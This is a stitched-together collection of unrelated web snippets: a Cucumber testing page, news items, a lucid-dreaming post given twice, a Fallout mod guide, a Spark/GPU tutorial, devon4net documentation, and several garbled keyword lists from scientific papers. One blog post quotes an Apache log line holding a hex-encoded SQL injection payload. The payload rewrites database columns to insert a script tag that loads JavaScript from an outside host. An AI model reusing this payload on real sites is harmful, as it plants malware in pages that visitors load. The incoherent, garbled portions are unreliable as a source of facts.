Jan 18, 2009 - Dave Hoover demonstrates how to use Watir with Cucumber. Actually, he uses his own library SafariWatir, but you could easily swap it with Watir, FireWatir, ChromeWatir or Celerity. Sorry - no sound.
Cocoacast interview with Aslak Hellesøy - creator of Cucumber.
Aslak Hellesøy presented Cucumber at Øredev in Malmö on Friday 6th on November.
Aslak Hellesøy presented Cucumber at the EuroSTAR conference
in Stockholm on Thursday 3rd of December.
Aslak Hellesøy presented Cucumber and Cuke4Duke at RubyFoo in London.
Aslak Hellesøy presented Cucumber at RailsConf in Las Vegas and got some good press.
Download
You need Ruby installed. Then just run
gem install cucumber
from a command prompt. Now, run
cucumber --help
The wiki has more information.
Testimonials
A major contributory factor to the success of the BBC's digital Olympics was the use of Cucumber to collaboratively specify requirements, guide development, drive automated tests and describe the system.
—Aidy Lewis, Test Discipline Lead BBC Future Media - News and Knowledge
My attention-span is short so I may be forgetting something but I think Cucumber could be the most important piece of software released in 2008 for Ruby-based developers.
If you’re looking for a higher level of abstraction in your tests, it’s definitely worth checking out.
—Mike Gunderloy on Ruby Inside
I finally looked into cucumber last week and immediately loved it. Within a couple hours I had several features written for an existing application. By the end of the next day, our whole team was writing cucumber features, and enjoying it! Cucumber seems to have brought back an excitement to testing that I haven’t felt for a while (since my first few weeks with RSpec).
Seeing what you guys are doing is just over-the-top cool. BDD is great, Domain Driven Design is great. Stuff I wish I knew 20 years ago.
I started using Cucumber yesterday and it was really easy.
Cucumber allows you to write feature documentation in Plain Text. It means you could sit with your Client or Business Analyst to write down the features to be build on your application.
—Lakshan Perera’s Ruby Advent 2008
Cucumber is fast becoming the standard for acceptance testing in Rails. Cucumber is a BDD tool for specification of application features and user scenarios in plain text. It’s powered by Ruby, supports over 20 spoken languages, and integrates with other testing platforms.
—Nick Quaranto – GitHub Featured project December 2008
God DAMN I want a BDD tool for Python that runs as well as cucumber 0.0003 or whatever it’s called does already. Dammit.
Continuous Integration Blueprints: How to Build an Army of Killer Robots With Hudson and Cucumber.


Jupiter and Venus to meet in the night sky as rare conjunction occurs
The two planets will meet in the southwestern sky
by Black Press Media StaffLook up at the night sky on Sunday and you won’t be disappointed, as two of the brightest stars in the sky are set to pass right by each other.
Sunday’s skies will host a “conjunction” between Venus and Jupiter, where the planets appear to kiss as they pass each other.
According to astronomers, the two planets will meet in the southwestern sky on Sunday night.


The idea to create a shadow boxing robot was nearly instant on the first team brainstorming night. Our learning goals imposed an intense set of requirements on the project:
Machine Learning - Use AI/ML to provide a powerful HCI experience
Mechanical Iteration - Fabricate several iterations of a hardware-focused project
Kinematics - Do some complicated parallel math to build concurrency skills
Firmware - Use higher-end embedded architectures ARM/STM32
Closed-loop control - Implement a predictive control algorithm
Project Management - Get things done on time!
We ideated in one night, coming up with a handful of different projects we thought might properly satisfy the design constraints (notice the 5th idea):
We initially imagined the shadow boxing robot as a pair of fighters - similar to the rock-em-sock robot game. Ultimately, we settled on a single fighter with a similar range of motion to that of the robots in the movie "Real Steel" - the 2011 action flick of the summer with Hugh Jackman and Dakota Goyo - one of our all-time personal favorite movies.


A few months ago, while browsing the net, I stumbled across a post that piqued my interest. It was a fairly long post that proceeded to describe the experiences of the author's foray into the world of Lucid Dreaming.
What is Lucid Dreaming ? One might ask.
Well, Lucid dreaming is simply being aware that you are dreaming. With enough experience, you can control your dreams — anything from flying to creating people and places, and even changing into animals.
I was so excited at this prospect, that I spent the whole day scouring the web for any and all the information that I could get on the topic.
Fast-Forward a few months, and now I can remember most of the important details of my dream and control, to a certain extent, the outcome of my dreams.
While my skill in lucid dreaming is not as great as that of the more experienced users, it has helped me a great deal nonetheless. Just to give you an example, I am currently writing a fiction novel as a hobby project, with lucid dreaming's help I can enter the realm of my novel and feel the world through my protagonists eyes. I can replay what I have written and get inspiration for the story too.
There are also times when I enter into a dream just to tell off some of my sadistic professors.
I know I shouldn't but it feels so good :p
So, if you are interested to know more about Lucid Dreaming I recommend you to go through this .
Its the best newbie friendly and comprehensive guide I have found.
What is Lucid Dreaming ? One might ask.
Well, Lucid dreaming is simply being aware that you are dreaming. With enough experience, you can control your dreams — anything from flying to creating people and places, and even changing into animals.
I was so excited at this prospect, that I spent the whole day scouring the web for any and all the information that I could get on the topic.
Fast-Forward a few months, and now I can remember most of the important details of my dream and control, to a certain extent, the outcome of my dreams.
While my skill in lucid dreaming is not as great as that of the more experienced users, it has helped me a great deal nonetheless. Just to give you an example, I am currently writing a fiction novel as a hobby project, with lucid dreaming's help I can enter the realm of my novel and feel the world through my protagonists eyes. I can replay what I have written and get inspiration for the story too.
There are also times when I enter into a dream just to tell off some of my sadistic professors.
I know I shouldn't but it feels so good :p
So, if you are interested to know more about Lucid Dreaming I recommend you to go through this .
Its the best newbie friendly and comprehensive guide I have found.


Websocket template
Check the websocket.js on how the messages is sent from the frontend to the backend


Simplest ReDoc
Swagger UI using ReDoc that is easy to use.
Input Swagger file URL here. Please do not put CORS restrictions.
Jump


Creating a Separator in Mod Organizer 2
- Right-click in the left pane of MO2 and select Create Separator
- Input New Quests + Locations into the pop-up and select OK
Install normally
- Master file for Th3Overseer's quest mods that allows for decisions to carry over between mods
Install normally
- Open-ended quest/worldspace mod with many new quests, NPCs, weapons, etc.
Files to install:
- Main File - 4.3. Content - Todd JIP CCC Avatar
- JIP CCC avatar for Todd, a companion added by The North Road
Install normally
Manual FNVEdit Editing Required:
- Run FNVEdit through MO2
- Right-click in the Module Selection pop-up and click Select None
- Check the box adjacent to TheREPCONNBlues.esp then hold down left shift and click OK
- Wait for the message Background Loader: finished to appear in the right pane
- Input 01014C0E into the FormID search box in the top left and hit enter
- In the right pane, right-click on the box adjacent to EDID - Editor ID and select Add
- Right-click on the same box and select Edit
- Enter aaRBLaunchFacility into the pop-up and select OK
- Adds an Editor ID to the main location for the mod which is required for the next mod
- You must use EXACTLY what the guide says in order for the mod to work
- Save and exit
- A quest mod in which you hunt for rockets, fight robots, and explore a mysterious launch facility
Files to install:
- Main File - 4.4. Content - The REPCONN Blues Delayer
- Delays the pop-up for The REPCONN Blues until reaching a certain distance from the mod's main location
Install normally
Manual FNVEdit Editing Available:
- Run FNVEdit through MO2
- Right-click in the Module Selection pop-up and click Select None
- Check the box adjacent to 3DNPC_BlueNote.esm then hold down left shift and click OK
- Wait for the message Background Loader: finished to appear in the right pane
- Input 010118E6 into the FormID search box in the top left and hit enter
- In the right pane, right-click on the second Visible flag and select Remove
- Makes the map marker not visible until the location is discovered
- Save and exit
- A quest mod about a struggling bar in Freeside with an ownership problem
Files to install:
- Main File - Afterschool Special Version 2O1
- New quest to refurbish the Goodsprings Schoolhouse into your very own player home
Files to install:
- Main File - Autumn Leaves
- Update File - Autumn Leaves Esp V1.031
- Delve into a centuries-old library inhabited by sentient machines and solve Hypatia's mysteries
Install normally
- Patch for YUP and Autumn Leaves
Files to install:
- Main File - Autumn Leaves Delayer
- Delays the Autumn Leaves pop-up until reaching a certain distance from the mod's main location
Files to install:
- Main File - 4.5. Content - Quest Mod Face Textures
- Generated face textures for all new NPCs added by the previous quest mods to avoid mismatching skin colors without the need for any INI editing
NOTE: You can still use this even if you only use one or some of the listed quest mods


bats control social network treatment effect proximity OpenUrl association behaviour ‘sick’ effects minimum sickness time used vampire LPS networks bat encounters transmission using Figure associations based group defined index pathogen shows CrossRef duration observations size LPS-injected centrality data estimate mean number Carter ]). bats. changes contact measures model observed probability spatial thresholds Panel created different encounter hours individuals rates sensors strength, test (e.g. Behav G.G. Page captive confidence construction decreased disease dynamic estimates fewer measure p-value parametric reduces relative socially threshold times tracking wild (black (bottom) (dark (degree, (light (red (top) Abstract Anim Download Duda Ecol Error FREE Proximity R.A. Sci Science Sickness Text animal associated association, bars behavioural bootstrapped centrality. clear connected day define defining edges entire host hourly lines nodes) null panel period. randomly roost sensor sick strength temporal track values varying work


the and .-. diversification with rate that from shift for mammalian {background radiation phylogenetic diversity extinction which using within The rates were Fig. are margin pattern MEDUSA rapid shifts {border-style Biol sp/My, px;} #ffffff;} clades exceptional have model tree was early their not patterns Boreoeutheria Press University also background biodiversity divergence evolutionary fossil lineages may molecular two among analyses different ecological extant role species such this (r=. all groups history likelihood major speciation Evol indicate most observed placental taxonomic trees unusual (e.g., Sci adaptive based mammal marsupial net other relative results richness times (Fig. (Table Although However, climatic could current mammals phylogeny px; than {font-family Euaustralidelphia New Oligocene World changes consistent disparity evolution families family-level font-size group high into marsupials models one present rates, recent species-rich these those well AIC Evolution Placentalia Soc These after approach associated been biogeographic clade comparative compared data double; estimates events general important novel still through unresolved (b=. American Australian Jiangsu Lond Marsupialia al.The analysis between border-color border-width both dating differences distribution due explain habitats identifying increasing key large new paleontological radiations rates. recently sequences sister solid; species), study successful supermatrix throughout time traits triggering uneven whales when {font-style {font-weight (rate Acad Australia Clades Diprotodontia Family-level Late MEDUSA. Macropodidae Natl Order-level Phylogenet RAxML Science Simiiformes South This USA basal bats, bold boreoeutherian burst clock contrast courier; crown differential diverse em; estimate estimated expansion factors five genomic historical improved including inferred living methods more performed point points possible process pt;} regions revealed sampling scores seems series shaping should showed since some sufficient suggest suggests there turnover whether zone


generate
help
*
Command overview
Spec file generate, ...
testea generate
testea help
testea *
Command reference
Generate spec files.
Usage:
Display help.
Any other command is not suppoted.
testea <cmd>


As Australia Burns, ScoMo Tells Bush Fire Victims To Cheer On The Cricket
by Tegan JonesLast week the fires burning across Australia were labelled 'catastrophic'. State premier Gladys Berejiklian declared a state of emergency for NSW.
As the fires continue to burn this week, with the smoke even filling the lungs of those in Sydney's CBD, prime minister Scott Morrison decided that victims needed something to hope for. The cricket.
While homes, wildlife and human lives are being lost, our prime minister figured a good old fashioned bit of sports ball would be an appropriate thing to tie to this multi-state devastation.
So the the PM took to Twitter to post a photo of himself at the Gabba during a training session.
"Going to be a great summer of cricket, and for our firefighters and fire-impacted communities, I’m sure our boys will give them something to cheer for," tweeted the PM.
If this didn't seem tone deaf enough on its own, it was posted after the PM visited the Queensland Fire & Emergency Services.
The response to the Morrison's tweet were swift and savage. Some users pointed out the lack of empathy in the post, while others linked the tweet back to the coalition's stance on climate change.
But perhaps the PM's blasé response to devastating bush fires shouldn't be surprising.
In addition to a reliance on fossil fuels and insufficient 2030 NDC targets, we don't even have a climate change policy.
But according to Morrison, Australia is doing just fine.
"If anything Australia is an overachiever on our global commitments, and for 2030 we will meet those as well with the mechanisms we have put in place," said the PM on ABC radio this week.
We're sure this attitude will serve the country well as we head into another summer of record heat. A $1.5 billion drought relief fund has already had to be established, but everything is great. Bring on the Australia vs Pakistan Test, lads.


Please fill out the form below, or send an email to<EMAIL_ADDRESS>First Name:*
Last Name:*
Email:*
Comments:


Issues
Here are some of the issues surrounding medical marijuana (MMJ) in Florida and possibly other states who are in a similar situation like Florida.
Florida Legalization Bust?
One major issue that arises is that Florida is that current marijuana treatment centers (MTC) or medical dispensaries are the number one funder
for Make It Legal Florida. Make It Legal Florida is a petition group who had attempted to put Recreational Marijuana Use on the 2020 ballot.
Although the petition did not make it on the ballot, this may have been a blessing in disguise for Floridians as the proposed bill would not
allow for home cultivation, regardless of the other 27 states that allow it.
While this puzzles some, the right to home cultivation would allow Floridians to open up their own shops or dispensaries to create and sell items
that have been made by them. Having the right to home cultivation is imperative for Florida's Marijuana Laws because if not, MTC companies would
be able to monopolize the cannabis industry which would do more harm to the cannabis industry than good.
Floridians are hopeful that there will be a petition that meets everyone's needs and that 2022 will be the year for recreational use for Florida.
It is imperative for Florida voters to research the petitions they are signing as some groups aren't as transparent as others.
Register to Vote here
THC Limits
Currently a proposal made by House lawmakers, that seeks to erratically cap the potency of medical cannabis flower to 10% THC is under consideration in Florida.
There are currently over 30 states that provide medical marijuana to their citizens, they do not create similar restrictions.
In addition to sister states not implementing restrictions on THC, implementing THC caps could be harmful for current patients as it would take more
marijuana to reach the same relief. This could promote current patients to find another more dangerous substance or resort to purchasing cannabis through the
black market. All in all THC limits would not be in current medical marijuana patients best interest.
Send an urgent message to your senator in opposition to THC limits!
Example message to your Senator:
Lawmakers are considering a proposal to arbitrarily cap the potency of cannabis flowers at ten percent THC. I urge you to oppose the passage of this type of legislation.
Over thirty states provide medical cannabis access; virtually none of these impose similar restrictions. That is because such a cap is arbitrary and is not in the best
interest of patients who deserve the legal option to access varying strains of cannabis of varying potencies. Just as patients currently have access to pain medications
of various strengths, patients should similarly have access to herbal cannabis of varying potency.
Further, this restriction is inconsistent with the spirit of Florida's voter-approved medical cannabis access law, which provided no limits regarding THC potency. Lawmakers should not intervene in this manner.
Finally, it must be acknowledged that THC is not toxic nor can it cause lethal overdose, regardless of potency. Currently, doctors may legally prescribe oral, synthetic THC
(Marinol) that is 100 percent THC. Despite its potency, this drug is well acknowledged to be safe and effective.
For these reasons, I urge you to oppose efforts to limit THC potency.
Click here to find your Senator.


The rules are simple: Players start with their pieces on a single, straight board of length n, and take turns rolling a dice and moving forward by that number of steps. The first to reach or pass the last square wins.
However, every second square on the board is a Challenge Square. If the player wins the challenge, they get to roll again.
Boards less than or equal to 2 squares are ignored.
Note that this game has a worst case runtime of O((n*m)!), and thus may occasionally play until the final heat death of the universe.
Please disable pop-up blocking in your browser settings.


'The Good Doctor' in real life: Surviving premature births
by WABCOn Monday night's episode of "The Good Doctor," Shaun Murphy was forced to deliver a baby prematurely.
The infant was no bigger than a hand and came two months before what is considered likely to survive outside of the womb.
In real life, doctors say medical advances have lead to more babies surviving premature births.
As of 2016, 35% of babies born at 23 weeks survived thanks to active care by doctors.
Now, experts recommend doctors should allow for more births as early as 23 weeks in extreme cases.
For more stories like these, check out "The Good Doctor" every Monday night at 10 p.m. on ABC.


The
new shooter page on the SADPA website has a comprehensive checklist, but
before you spend a fortune on paraphernalia you may or may not use, make
sure to visit a club to see what members typically use.
The non-negotiable
items are: Firearm, magazines/speed loaders (at least two, but three is
better), strong-side holster, magazine pouches, eye protection, ear protection
and a concealment garment (typically a reporters jacket or similar, but a loose
shirt is acceptable on day one).


Four homes damaged by fire in Meath housing estate
by By Digital Desk staffFour houses have been damaged in a fire in a housing estate in Co Meath.
Gardaí say the fire broke out in a van parked in the driveway of a house at Meadowbank Hill in Ratoath shortly after 4am this morning.
The fire quickly spread to a number of houses and a second car.
Two of the houses were extensively damaged and smoke damage was also caused to two other homes.
Fire services from Ashbourne and Dunshaughlin tackled the blaze and the area was evacuated during the incident.
Nobody was injured.
Gardaí say it is not yet clear how the fire started and a forensic examination will take place later today.
READ MORE
Investigation underway after man, 30s, dies following incident in Cloverhill Prison


Contrary to what you might think, I think insomnia's fantastic. It puts me in this limbo state where my mind feels like lead and I suck at almost everything. One thing I've found myself to be quite good at is catching up on Internet. There was plenty of crap, but I found a lot of good technical stuff.
For starters, I subscribed to a bunch of new blogs:
I played with Google Analytics a bit, and noticed a fun bit in my Apache access logs:
<IP_ADDRESS> - - [17/Aug/2008:15:32:31 +0000] "GET /?;DeCLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661<PHONE_NUMBER>28323535292C40432076617263686172283430303029204445434C4152452 05461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E61 6D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D 6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752 720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622 E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C6 55F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736 F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302<PHONE_NUMBER>94E20657865632827757064617465205B272B40542B275D20736574205B272B 40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C7363726970742073 72633D22687474703A2F2F777777332E3830306D672E636E2F63737273732F772E6A73223 E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6<PHONE_NUMBER>23E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F77777 7332E3830306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27<PHONE_NUMBER>544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2 040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F434<PHONE_NUMBER>1626C655F437572736F72%20AS%20CHAR(4000));ExEC(@S); HTTP/1.1" 200 61318 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)"
I also had a blast playing with jQuery. The docs were clear and well organized. All the selectors were exactly what I wanted. It was easy to chain together what I wanted to do because of the methods return jQuery objects. The callbacks were also intuitive and easy to manipulate... even for a Javascript newbie.
Another library which I fell in love with at first site was HTTParty. It really brings me back to my Perl screen scrapping days. (Oh! WWW::Mechanize) It also linked me to the Programmable Web homepage. I didn't really read through what's available, but this is going to be a great place to prototype mashups.
Seeing all this good stuff made me look for an excuse to write something to solidify the basics in my head. The result is a half-assed mish-mash of Javascript and Ruby ala jQuery and Merb.  Surprisingly enough, Passenger supports Merb just fine. I looked at some of the other lighter Ruby web frameworks, and they were all pretty fun. I noted that the new Webgen installed Ramaze as a dependency. Check it out if you're feeling hyphy.
(Disclaimer: This is an inside joke that just won't die)
Speaking of Passenger, the new Railscast episode about Passenger along with nuby on rails' article about rstakeout might finally provide a solution to prevent me from having to restart my server in development whenever I edit a plugin or a file in the lib directory. It also clued me into a whole world of Ruby monitoring systems, the funniest named one being God.
I worked a bunch on migrating this blog over to use Webgen. I'd say that I'm about 60 or 70 percent of the way there. I spent most of the time just reading and enjoying how simple and clear the code was. I think I have a good enough grip on enough code that I'd like to write a few extensions so that I can continue to publish this blog without any changes to the previous articles I wrote.
I think there was even more stuff I wanted to keep in my head. Unforunately, a real downside of insomnia is having some, if not most, of the good stuff leak out.


Perfect Belgium end qualification campaign with Cyprus thrashing
Christian Benteke and Kevin De Bruyne scored two goals each as Belgium thrashed Cyprus 6-1 in their Euro 2020 Group I qualifier at the King Baudouin Stadium on Tuesday.
BRUSSELS: Christian Benteke and Kevin De Bruyne scored two goals each as Belgium thrashed Cyprus 6-1 in their Euro 2020 Group I qualifier at the King Baudouin Stadium on Tuesday.
Belgium finish top of their pool with a perfect 10 wins from 10 games, scoring 40 goals in the process, as Yannick Carrasco and an own goal from Kypros Christoforou completed the rout of Cyprus.
The visitors had silenced their hosts with an early strike as Nicholas Ioannou drilled the ball into the corner of the net, but the Belgium supporters were soon back on their feet after an exhibition from their side after that.
Carrasco’s excellent pass provided the opportunity for Benteke to level the score, before Cyprus goalkeeper Michael Neofytos somehow allowed De Bruyne’s weak shot to squirm past him.
Carrasco was the provider again as he teed-up De Bruyne to complete a brace, before the former grabbed the goal his performance deserved a minute before the break after burying his shot from Eden Hazard's pass.
There was little let-up in the second period as Belgium continued to dominate, with Christoforou putting the ball into his own net and Benteke adding the sixth.
(Reporting By Nick Said; Editing by Christian Radnedge)


Authentication:
The first packet sent by the client to the server is the authentication packet.
After some simple SQL query a verification packet is returned to the client by the server.
If the authentication is successful the task that managed the socket connection keeps the the connection open and waits for new requests from the client.
Password hashing:
The actual password from the client is never sent over the network.
Instead the equilavent SHA256 hash is sent.
Authenticate via command prompt:
You can also connect via starting the client with command prompt parameters.
e.g. EpicDragonWorld -account pandrian -password 12345
Setting the host IP address:
The project is set to run on a single computer <IP_ADDRESS> (localhost).
On server there is no need to set a specific IP, just make sure port 5055 is open.
On client you can change the IP at Assets\Scripts\Config\NetworkConfigurations.cs
"There is no login server implementation, game server handles the authentication process."
"The configuration to automatically create accounts is enabled by default."


Below are our opening times, these may vary depending on holidays. Please check our social media for these times.
Monday: 10am - 11pm
Tuesday: 10am - 11pm
Wednesday: 10am - 11pm
Thursday: 10am - 11pm
Friday: 10am - 11pm
Saturday: 9am - 11pm
Sunday: 9am - 10pm
Bank Holiday: 9am - 10pm


Speed, Quality, Dev Time... pick two. This has been an age-old tradeoff in software development. The goal of this blog post is to create a local dev environment for ad-hoc gpu-cluster computing using Apache Spark, iPython Notebook (scala version), and the stock GPU powering your Macbook Pro's display.
Make it work... then make it fast... then make it beautiful -- Matthew Russell
In the spirit of my mentor, we will start by getting each part "working" individually. Fortunately, the second part (speed) sortof falls out of the first (GPU clusters are like that). Then, we'll integrate these parts into something beautiful... a scalable, ad-hoc environment.
Part 1: Spark-Notebook
Apache Spark can be controlled by notebooks from several languages. I'm going with Scala for several reasons. First, it allows me to have access to the full Spark API (Graphx support is a dealbreaker for me). Secondly, the only GPU library that allowed me to compile for the GPU without writing C code myself is in Java (which I can call from scala). Even with these limitations, there were still several to choose from. The options were:
Zeppelin -> buggy API after I imported classes
Spark-Notebook -> headache to import dependencies
Sparknotebook -> Winner!!! Killer app.
After cloning the Sparknotebook repo and following its instructions (downloading the IScala.jar...etc), with a single command I could open the notebook on top of a standalone spark cluster... easy peasy...
Please go like the REPO... I'd like to see it get some love....
Part 2: GPU on the JVM
The inspiration for this came from a rather impressive library called ScalaNLP. They claimed to have a parser that could parse half a million words per minute on one machine! Given that I work in R&D at a "Big-Data NLP" firm, this peaked my interest. Scalanlp on a 100 node cluster seems.... rather disgustingly awesome.
ScalaNLP Leverages the java opencl library, JavaCL. The decision to use OpenCL, as opposed to CUDA, means that the code runs on non-NVIDIA graphics cards. All Apple's can use OpenCL. Therefore, I can prototype on my Macbook's GPU. I like that.... i like that a lot.
However, what I don't like is writing C code. It slows me down and isn't portable. I need my code to be both enterprise-ready and, "we don't want to buy GPUs" ready. This is where Aparapi comes in. It compiles Java code down to OpenCL, and runs it in a Java Thread Pool if a GPU isn't available. Also, it's made by AMD... which means you can trust it. Those guys are total bosses. AMD Claims New World Record
I downloaded the AparaPi Mac OS Zip... although all these are available.
Aparapi_2012_01_23_MacOSX_zip
Aparapi_2013_01_23_linux_x86.zip
Aparapi_2013_01_23_windows_x86.zip
I unzipped the download into a folder on my machine, and it created a folder called "Aparapi_2012_01_23_MacOSX_zip".
Executions:
cd Aparapi_2012_01_23_MacOSX_zip/samples/squares/Output Sample:
sh squares.sh
Execution mode=GPU
0 0
1 1
2 4
3 9
4 16
5 25
6 36
7 49
8 64
9 81
10 100
Wallah! Apparently this java code can run on my Macbook's GPU. Feel free to try a few of the other sample programs... the mandlebrot one is super cool!
Part 3: Integrating Spark and Aparapi in the Notebook
So, everything so far has simply been a tutorial on "proper tool selection" for the task. The real challenge is in getting these tools to talk to each other. The first integration step we need to do is to import the aparapi jar into the iscala notebook. This can be done using the following command.
mvn install:install-file -Dfile=aparapi.jar -DgroupId=com.amd.aparapi -DartifactId=aparapi -Dversion=1.0 -Dpackaging=jar
Furthermore, my ~/.ipython/profile_scala/ipython_config.py looks like this at the bottom...
c = get_config()
c.KernelManager.kernel_cmd = ["java","-Djava.library.path=/Users/.. .../Aparapi_2012_01_23_MacOSX_zip","-XX:MaxPermSize=2048m","-Xmx8g",
"-jar", "/Users/myname/.ipython/profile_scala/lib/IScala.jar","/Users/... .../Aparapi_2012_01_23_MacOSX_zip/aparapi.jar",
"--profile",
"{connection_file}",
"--parent"]
This gets the aparapi jar on our spark cluster classpath.
One more detail, when you're starting ipython notebook, start it with this command (with your aparapi zip directory path instead of mine). I'll go into this in a minute
SPARK_DAEMON_JAVA_OPTS=-Xmx8128m SPARK_WORKER_MEMORY=-Xmx2048m SPARK_DAEMON_MEMORY=-Xmx2048m SPARK_REPL_OPTS=-XX:MaxPermSize=2048m SBT_OPTS=-Xmx8128m SPARK_JAVA_OPTS="-Djava.library.path=/Users/... ..../Aparapi_2012_01_23_MacOSX_zip -Xms512m -Xmx8128m" ipython notebook --profile scala
When I deploy the aparapi jar locally, I can then import aparapi like so...
Assuming no errors in the "upload" command (scroll to the bottom for a list of any import failures), you should be good to go. Also, notice that I'm using the demo scala notebook from the sparknotebook github. I recommend this to make sure that the notebook is working before you start.
Part 4: Example Kernel Built in the Notebook (using Scala only)
Notice that i tried to set the kernel to run on the GPU, but because the GPU wasn't available, it switched the version and ran it on the CPU. You might be thinking, "Wait!!! This blog is a hoax!!!". I got a bit discouraged at this point as well, however, debugging later found out that we cannot compile Scala to GPU code. This is acceptable for prototyping kernels and chaining them together. This will even run in the spark context... so to develop and test your kenels (using the Java Thread Pool fallback), feel free to do it this way.
Part 5: Executing GPU Kernel on Spark Cluster
Now the moment we've all been waiting for.... earlier when you installed the aparapi jar into maven, you were actually installing the compiled jar including the "Square" sample code. If we crack open the "squares.sh" script we ran earlier, we'll see that it is calling a program in that jar
squares.sh
java \
-Djava.library.path=../.. \
-Dcom.amd.aparapi.executionMode=%1 \
-classpath ../../aparapi.jar:squares.jar \
com.amd.aparapi.sample.squares.Main
This means that the compiled code is already on our classpath... and we can call it from a spark method like so...


24. User guide
24.1.
24.1.1.
Welcome to devon4net framework user guide. In this document you will find the information regarding how to start and deploy your project using the guidelines proposed in our solution.
All the guidelines shown and used in this document are a set of rules and conventions proposed and supported by Microsoft and the industry.
24.1.2.
Devon4Net package solution contains:
| File / Folder | Content |
|---|---|
Documentation |
User documentation in HTML format |
Modules |
Contains the source code of the different devon4net modules |
Samples |
Different samples implemented in .NET and .NET Core. Also includes My Thai Star Devon flagship restaurant application |
Templates |
Main .net Core template to start developing from scratch |
License |
License agreement |
README.md |
Github main page |
TERMS_OF_USE.asciidoc |
The devon4net terms of use |
LICENSE |
The devon license |
Other files |
Such the code of conduct and contributing guide |
The application templates given in the bundle are ready to use.
At the moment .net Core template is supported. The template is ready to be used as a simple console Kestrel application or being deployed in a web server like IIS.
You can find My Thai Star .NET port application at Github.
| As devon4net has been migrated to the latest version of .net core, the template is not finished yet. |
24.1.3.
To use EF Core, install the package for the database provider(s) you want to target. This walk-through uses SQL Server.
For a list of available providers see Database Providers
-
Go to Tools > NuGet Package Manager > Package Manager Console
-
Run Install-Package Microsoft.EntityFrameworkCore.SqlServer
We will be using some Entity Framework Tools to create a model from the database. So we will install the tools package as well:
-
Run Install-Package Microsoft.EntityFrameworkCore.Tools
We will be using some ASP.NET Core Scaffolding tools to create controllers and views later on. So we will install this design package as well:
-
Run Install-Package Microsoft.VisualStudio.Web.CodeGeneration.Design
In order to design your database model from scratch, we encourage to follow the Microsoft guidelines described here.
-
Go to Tools > NuGet Package Manager > Package Manager Console
-
Run the following command to create a model from the existing database:
Scaffold-DbContext "Your connection string to existing database" Microsoft.EntityFrameworkCore.SqlServer -OutputDir Models
The command will create the database context and the mapped entities as well inside of Models folder.
Services are registered with dependency injection during application startup.
In order to register your database context (or multiple database context as well) you can add the following line at ConfigureDbService method at startup.cs:
private void SetupDatabase(IServiceCollection services)
{
services.SetupDatabase<TodoContext>(Configuration, "Default", WebAPI.Configuration.Enums.DatabaseType.InMemory);
}
Where:
| Param | Description |
|---|---|
TodoContext |
Is the database context definition |
Default |
Is the connection string defined at ConnectionString node at the appsettings configuration file |
WebAPI.Configuration.Enums.DatabaseType.InMemory |
Is the database driver selection. In this case InMemory data base is chosen |
The supported databases are:
-
SqlServer
-
Sqlite
-
InMemory
-
Cosmos
-
PostgreSQL
-
MySql
-
MariaDb
-
FireBird
-
Oracle
-
MSAccess
Services and Repositories are an important part of devon4net proposal. To make them work properly, first of all must be declared and injected at Startup.cs at DI Region.
Services are declared in devon4net.Business.Common and injected in Controller classes when needed. Use services to build your application logic.
For example, My Thai Star Booking controller constructor looks like this:
public BookingController(IBookingService bookingService, IMapper mapper) { BookingService = bookingService; Mapper = mapper; }
Currently devon4net has a Unit of Work class in order to perform CRUD operations to database making use of your designed model context.
Repositories are declared at devon4net.Domain.UnitOfWork project and make use of Unit of Work class.
The common methods to perform CRUD operations (where <T> is an entity from your model) are:
-
Sync methods:
IList<T> GetAll(Expression<Func<T, bool>> predicate = null); T Get(Expression<Func<T, bool>> predicate = null); IList<T> GetAllInclude(IList<string> include, Expression<Func<T, bool>> predicate = null); T Create(T entity); void Delete(T entity); void DeleteById(object id); void Delete(Expression<Func<T, bool>> where); void Edit(T entity);
-
Async methods:
Task<IList<T>> GetAllAsync(Expression<Func<T, bool>> predicate = null); Task<T> GetAsync(Expression<Func<T, bool>> predicate = null); Task<IList<T>> GetAllIncludeAsync(IList<string> include, Expression<Func<T, bool>> predicate = null);
If you perform a Commit operation and an error happens, changes will be rolled back.
The given templates allow you to specify the API contract through Swagger integration and the controller classes are the responsible of exposing methods making use of comments in the source code.
The next example shows how to comment the method with summaries in order to define the contract. Add (Triple Slash) XML Documentation To Swagger:
///  /// Method to get reservations ///  /// <response code="201">Ok.</response> /// <response code="400">Bad request. Parser data error.</response> /// <response code="401">Unauthorized. Authentication fail.</response> /// <response code="403">Forbidden. Authorization error.</response> /// <response code="500">Internal Server Error. The search process ended with error.</response> [HttpPost] [Route("/mythaistar/services/rest/bookingmanagement/v1/booking/search")] //[Authorize(Policy = "MTSWaiterPolicy")] [AllowAnonymous] [EnableCors("CorsPolicy")] public async Task<IActionResult> BookingSearch([FromBody]BookingSearchDto bookingSearchDto) {
In order to be effective and make use of the comments to build the API contract, the project which contains the controller classes must generate the XML document file. To achieve this, the XML documentation file must be checked in project settings tab:
We propose to generate the file under the XmlDocumentation folder. For example in devon4net.Domain.Entities project in My Thai Star .NET implementation the output folder is:
XmlDocumentation\devon4net.Business.Common.xml
The file devon4net.Business.Common.xml won’t appear until you build the project. Once the file is generated, please modify its properties as a resource and set it to be Copy always .
Once you have this, the swagger user interface will show the method properties defined in your controller comments.
Making use of this technique controller are not encapsulated to the application project. Also, you can develop your controller classes in different projects obtain code reusability.
Swagger comment:
| Comment | Functionality |
|---|---|
 |
Will map to the operation’s summary |
<remarks> |
Will map to the operation’s description (shown as "Implementation Notes" in the UI) |
<response code="###"> |
Specifies the different response of the target method |
<param> |
Will define the parameter(s) of the target method |
Please check Microsoft’s site regarding to summary notations.
An important part of life software is the need of using log and traces. devon4net has a log module pre-configured to achieve this important point.
